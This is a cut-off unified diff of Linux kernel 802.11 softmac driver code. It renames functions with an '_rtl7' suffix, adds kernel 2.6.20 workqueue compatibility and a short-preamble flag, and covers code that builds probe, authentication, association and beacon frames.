Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void 